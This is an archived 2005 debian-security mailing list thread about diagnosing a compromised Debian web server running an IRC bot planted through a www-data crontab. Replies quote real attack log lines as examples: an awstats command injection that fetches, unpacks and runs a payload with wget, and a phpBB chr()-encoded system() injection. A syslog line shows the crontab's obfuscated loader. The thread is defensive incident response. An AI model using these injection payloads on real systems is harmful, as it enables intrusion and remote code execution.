Re: a compromised machine
Nejc Novak ha scritto: So, for now i killed this process, disabled the cronjob and killed web server - there is now way the attacker is capable of coming back into server or is there a chance that there is another backdoor installed somewhere (chkrootkit doesn't find anything). try also rkhunter http://www.rootkit.nl/ Probably this will be a Debian package soon (?) http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=243938 Ciao Davide -- Linux User: 302090: http://counter.li.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Hi again! I found out how the process is started. There was a file created - /var/spool/cron/crontabs/www-data. I hope that its ok if i post it here as attachment. The creation of file was 21.7.2005 23:55. I checked apache logs for that time but there was nothing wierd to notice. Can you get any information out of this cron file? I tried creating the same exec that this file creats, but obiously i was doing sth wrong :) Thanks for your help.. Nejc # DO NOT EDIT THIS FILE - edit the master and reinstall. # (/tmp/ltujbnpqr installed on Thu Jul 21 23:55:39 2005) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) #
Re: a compromised machine
On Tue, Jul 26, 2005 at 10:02:52PM +0200, Nejc Novak wrote: Can you get any information out of this cron file? I tried creating the same exec that this file creats, but obiously i was doing sth wrong :) The crontab writes out a binary file and executes it. I straced the binary on a virtual machine with no network. It's attempting to connect to two different hosts: 210.169.91.66:5454 216.254.95.2:53 -Ed signature.asc Description: Digital signature
Re: a compromised machine
On Tue, Jul 26, 2005 at 04:39:20PM -0400, Edward Faulkner wrote: It's attempting to connect to two different hosts: Never mind that second address... that's my DNS... sheepish grin/ signature.asc Description: Digital signature
Re: a compromised machine
On Tue, Jul 26, 2005 at 04:39:20PM -0400, Edward Faulkner wrote: On Tue, Jul 26, 2005 at 10:02:52PM +0200, Nejc Novak wrote: Can you get any information out of this cron file? I tried creating the same exec that this file creats, but obiously i was doing sth wrong :) The crontab writes out a binary file and executes it. I straced the binary on a virtual machine with no network. It's attempting to connect to two different hosts: 210.169.91.66:5454 This is an IRC server. The program seems to be an IRC zombie. Marcin -- Marcin Owsiany [EMAIL PROTECTED] http://marcin.owsiany.pl/ GnuPG: 1024D/60F41216 FE67 DA2D 0ACA FC5E 3F75 D6F6 3A0D 8AA0 60F4 1216 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Can you also define, what it does? Or what was the attacker capable of doing with it? Thanks.. Edward Faulkner wrote: On Tue, Jul 26, 2005 at 04:39:20PM -0400, Edward Faulkner wrote: It's attempting to connect to two different hosts: Never mind that second address... that's my DNS... sheepish grin/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
OK :) So, for now i killed this process, disabled the cronjob and killed web server - there is now way the attacker is capable of coming back into server or is there a chance that there is another backdoor installed somewhere (chkrootkit doesn't find anything). Nejc Marcin Owsiany wrote: On Tue, Jul 26, 2005 at 04:39:20PM -0400, Edward Faulkner wrote: On Tue, Jul 26, 2005 at 10:02:52PM +0200, Nejc Novak wrote: Can you get any information out of this cron file? I tried creating the same exec that this file creats, but obiously i was doing sth wrong :) The crontab writes out a binary file and executes it. I straced the binary on a virtual machine with no network. It's attempting to connect to two different hosts: 210.169.91.66:5454 This is an IRC server. The program seems to be an IRC zombie. Marcin -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
RE: a compromised machine
Kernel root kits are very good at hiding themselves when they are running. Best way is to mount the had drive in another box as /mnt or something and run chkrootkit over it and also md5sum known hacked binaries like ls etc. OK :) So, for now i killed this process, disabled the cronjob and killed web server - there is now way the attacker is capable of coming back into server or is there a chance that there is another backdoor installed somewhere (chkrootkit doesn't find anything). Nejc Marcin Owsiany wrote: On Tue, Jul 26, 2005 at 04:39:20PM -0400, Edward Faulkner wrote: On Tue, Jul 26, 2005 at 10:02:52PM +0200, Nejc Novak wrote: Can you get any information out of this cron file? I tried creating the same exec that this file creats, but obiously i was doing sth wrong :) The crontab writes out a binary file and executes it. I straced the binary on a virtual machine with no network. It's attempting to connect to two different hosts: 210.169.91.66:5454 This is an IRC server. The program seems to be an IRC zombie. Marcin -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
RE: a compromised machine
Perharps debsums could be useful to detect the corrupted command ? But rebuilding the machine is a sure solution I think. ++ -Message d'origine- De : [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Envoyé : lundi 25 juillet 2005 01:12 À : debian-security@lists.debian.org Objet : Re: a compromised machine Le 12989ième jour après Epoch, Nejc Novak écrivait: i checked crontabs and i haven't found anything. but new processess started www-data 6705 0.0 0.1 1616 600 ?S21:31 0:00 /tmp/dlciiqlno x www-data 6762 0.0 0.0 00 ?Z22:10 0:00 [sh] defunct www-data 6770 0.0 0.1 1624 608 ?S22:10 0:00 [bdflu and new connections were opened Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp0 0 193.77.81.144:33276 210.169.91.66:5454 ESTABLISHED tcp0 0 193.77.81.144:33281 193.201.53.88:6667 ESTABLISHED Once again, /tmp/dcliiqlno doesn't exist... where is this exec file, because i would really like to know what exactly it does.. and what is bdflu? Easy to do. The exec prog remove himself. Try lsof -p hackprocessid and you probably see a deleted file. The process probably restarted because of a corrupted command. For example, ls or ps are corrupted, so they create /tmp/, run it and delete it. I still haven't managed to find out how exactly this happened. And probably reinstall will be needed? What do you think? First of all, you must unplug the machine. Second, reinstall it. If you have important data, just backup it, but *only* data!
a compromised machine
Hi!
I think one of my servers has been compromised. Since i don't have a lot
of experiencei with these things, i beg you for your help.
Information i have gathered together till now are the following. Server
is runnin latest debian stable, sarge.
There was heavy traffic on the server and ps aux reported several
processes:
www-data 2459 0.0 0.1 1616 608 ?S01:31 0:00
/tmp/dlciiqlno x
after killing them they slowly started again, but not many of them. If
course i looked into /tmp, but found no dlciiqlno there. What i found
there were something, that looked like gallery (web photo gallery) log
files:
gallery_session_04fa70fb11bc00591370a70bc0398e24|O:14:gallerysession:6:{s:7:version;s:11:1.5-debian1;s:12:sessionStart;i:1122183146;s:10:remoteHost;s:14:68.142.249.160;s:9:albumName;s:7:album04;s:13:offlineAlbums;a:0:{}s:8:language;b:0;}
I dont know if there is a connection, but definetly gallery logfiles
shouldn't be there. And there is that remoteHost IP which is quite
suspicious.
I ran netstat and i got that
tcp0 0 my_ip:37561 210.169.91.66:5454 ESTABLISHED
Which was wierd, so i run nmap localhost but only ordinary ports were
opened.
I don't know what to do now. It would be great, if you had any ideas.
Thank you for your help!
Nejc
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
On Sun, Jul 24, 2005 at 09:54:28AM +0200, Nejc Novak wrote: I think one of my servers has been compromised. Since i don't have a lot of experiencei with these things, i beg you for your help. Information i have gathered together till now are the following. Server is runnin latest debian stable, sarge. There was heavy traffic on the server and ps aux reported several processes: www-data 2459 0.0 0.1 1616 608 ?S01:31 0:00 /tmp/dlciiqlno x Since the process runs as www-data some kiddy has abused a web service on your server to download and run an external software. Look for suspicious log lines of your web server. Examples of hacks on our servers: 82.55.78.243 - - [26/Feb/2005:20:04:59 +0100] GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.geocities.com%2fmadahack%2fa.tgz%3b%20tar%20zxf%20a.tgz%3b%20rm%20-f%20a.tgz%3b%20.%2fa%20%7c%20 HTTP/1.1 200 422 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts) or 211-255-23-42.rev.krline.net - - [04/Dec/2004:17:43:06 +0100] GET /phpbb/viewto pic.php?t=27highlight=%2527%252esystem(chr(108)%252echr(115)%252echr(32)%252ech r(45)%252echr(108)%252echr(97)%252echr(32)%252echr(47)%252echr(118)%252echr(97)% 252echr(114)%252echr(47)%252echr(119)%252echr(119)%252echr(119))%252e%2527 HTTP/ 1.0 200 28732 - PHP/4.3.4 It should be rather easy finding signs of weird accesses like %20 or chr(). Also look for weird signs in /tmp. If your server is important you should consider reinstalling. Regards Christoph -- ~ ~ ~ .signature [Modified] 3 lines --100%--3,41 All -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Christoph Haas wrote: On Sun, Jul 24, 2005 at 09:54:28AM +0200, Nejc Novak wrote: It should be rather easy finding signs of weird accesses like %20 or chr(). Also look for weird signs in /tmp. If your server is important you should consider reinstalling. I'd urge you to spend the time necessary to see if you can identify how the attacker broke in. Otherwise you will find that after reinstalling, the attack will occur again. As Christoph mentioned, the logs are a good place to start. Geoff Crompton -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
On Sun, Jul 24, 2005 at 01:19:25PM +0200, Christoph Haas wrote: Since the process runs as www-data some kiddy has abused a web service on your server to download and run an external software. Look for suspicious log lines of your web server. Yes .. Examples of hacks on our servers: 82.55.78.243 - - [26/Feb/2005:20:04:59 +0100] GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.geocities.com%2fmadahack%2fa.tgz%3b%20tar%20zxf%20a.tgz%3b%20rm%20-f%20a.tgz%3b%20.%2fa%20%7c%20 HTTP/1.1 200 422 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts) 211-255-23-42.rev.krline.net - - [04/Dec/2004:17:43:06 +0100] GET /phpbb/viewto pic.php?t=27highlight=%2527%252esystem(chr(108)%252echr(115)%252echr(32)%252ech r(45)%252echr(108)%252echr(97)%252echr(32)%252echr(47)%252echr(118)%252echr(97)% 252echr(114)%252echr(47)%252echr(119)%252echr(119)%252echr(119))%252e%2527 HTTP/ 1.0 200 28732 - PHP/4.3.4 It should be rather easy finding signs of weird accesses like %20 or chr(). Also look for weird signs in /tmp. Both of these attacks could be prevented by the use of mod_security, which I'd recommend you look into using in the future if you have potentially untrusted scripts running. Steve -- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Thanks for your help. I didn't make much progress though. However, after
killing all these processes, a new one was run
www-data 6059 0.0 0.1 1616 600 ?S17:31 0:00
/tmp/dlciiqlno x
that means, that the process was started at 17:31 today. So i checked
logs (all virtual servers) and there was nothing under 17:31 except for
193.77.107.1 - - [24/Jul/2005:17:31:39 +0200] GET / HTTP/1.0 200 3444
- -
I didn't make much sense to me, so i checked also syslog and it said
Jul 24 17:31:01 soncek /USR/SBIN/CRON[6050]: (www-data) CMD (/bin/echo
`crontab -l|grep '.\{666\}'|sed 's/^./echo -e -n/'`|s$
Jul 24 17:31:01 soncek crontab[6054]: (www-data) LIST (www-data)
I killed the process and webserver and at 19:31 the process again
started with the same lines in syslog.
What now?
Thanks
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
On Sun, Jul 24, 2005 at 07:40:21PM +0200, Nejc Novak wrote: that means, that the process was started at 17:31 today. So i checked I killed the process and webserver and at 19:31 the process again started with the same lines in syslog. Check your crontabs (in various locations) and atq. It sounds as if the attackers have added something there. // Ulf -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
i checked crontabs and i haven't found anything. but new processess started www-data 6705 0.0 0.1 1616 600 ?S21:31 0:00 /tmp/dlciiqlno x www-data 6762 0.0 0.0 00 ?Z22:10 0:00 [sh] defunct www-data 6770 0.0 0.1 1624 608 ?S22:10 0:00 [bdflu and new connections were opened Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp0 0 193.77.81.144:33276 210.169.91.66:5454 ESTABLISHED tcp0 0 193.77.81.144:33281 193.201.53.88:6667 ESTABLISHED Once again, /tmp/dcliiqlno doesn't exist... where is this exec file, because i would really like to know what exactly it does.. and what is bdflu? I still haven't managed to find out how exactly this happened. And probably reinstall will be needed? What do you think? Thanks.. Ulf Harnhammar wrote: On Sun, Jul 24, 2005 at 07:40:21PM +0200, Nejc Novak wrote: that means, that the process was started at 17:31 today. So i checked I killed the process and webserver and at 19:31 the process again started with the same lines in syslog. Check your crontabs (in various locations) and atq. It sounds as if the attackers have added something there. // Ulf -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Reinstall seems the option left...with the added security features discussed previously, monitoring the server closely after new installation. I would do the new installation in a new hard disk, saving and afterwards, installing the seemingly compromised hard disk, for a forensic analysis in a machine not connected to any network. i checked crontabs and i haven't found anything. but new processess started www-data 6705 0.0 0.1 1616 600 ?S21:31 0:00 /tmp/dlciiqlno x www-data 6762 0.0 0.0 00 ?Z22:10 0:00 [sh] defunct www-data 6770 0.0 0.1 1624 608 ?S22:10 0:00 [bdflu and new connections were opened Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp0 0 193.77.81.144:33276 210.169.91.66:5454 ESTABLISHED tcp0 0 193.77.81.144:33281 193.201.53.88:6667 ESTABLISHED Once again, /tmp/dcliiqlno doesn't exist... where is this exec file, because i would really like to know what exactly it does.. and what is bdflu? I still haven't managed to find out how exactly this happened. And probably reinstall will be needed? What do you think? Thanks.. Ulf Harnhammar wrote: On Sun, Jul 24, 2005 at 07:40:21PM +0200, Nejc Novak wrote: that means, that the process was started at 17:31 today. So i checked I killed the process and webserver and at 19:31 the process again started with the same lines in syslog. Check your crontabs (in various locations) and atq. It sounds as if the attackers have added something there. // Ulf -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- -JM. Estos días azules y este sol de la infancia (Antonio Machado-1939) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
In article [EMAIL PROTECTED] you wrote: I still haven't managed to find out how exactly this happened. And probably reinstall will be needed? What do you think? Yes, reinstall on compromised hosts is always needed, however you should make a image of the system for forensic, you dont want to have that happen again. Maybe try to run some rootkit detectors. Is there a web server with PHP running on the system? any other server? Gruss Bernd -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: a compromised machine
Le 12989ième jour après Epoch, Nejc Novak écrivait: i checked crontabs and i haven't found anything. but new processess started www-data 6705 0.0 0.1 1616 600 ?S21:31 0:00 /tmp/dlciiqlno x www-data 6762 0.0 0.0 00 ?Z22:10 0:00 [sh] defunct www-data 6770 0.0 0.1 1624 608 ?S22:10 0:00 [bdflu and new connections were opened Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp0 0 193.77.81.144:33276 210.169.91.66:5454 ESTABLISHED tcp0 0 193.77.81.144:33281 193.201.53.88:6667 ESTABLISHED Once again, /tmp/dcliiqlno doesn't exist... where is this exec file, because i would really like to know what exactly it does.. and what is bdflu? Easy to do. The exec prog remove himself. Try lsof -p hackprocessid and you probably see a deleted file. The process probably restarted because of a corrupted command. For example, ls or ps are corrupted, so they create /tmp/, run it and delete it. I still haven't managed to find out how exactly this happened. And probably reinstall will be needed? What do you think? First of all, you must unplug the machine. Second, reinstall it. If you have important data, just backup it, but *only* data!
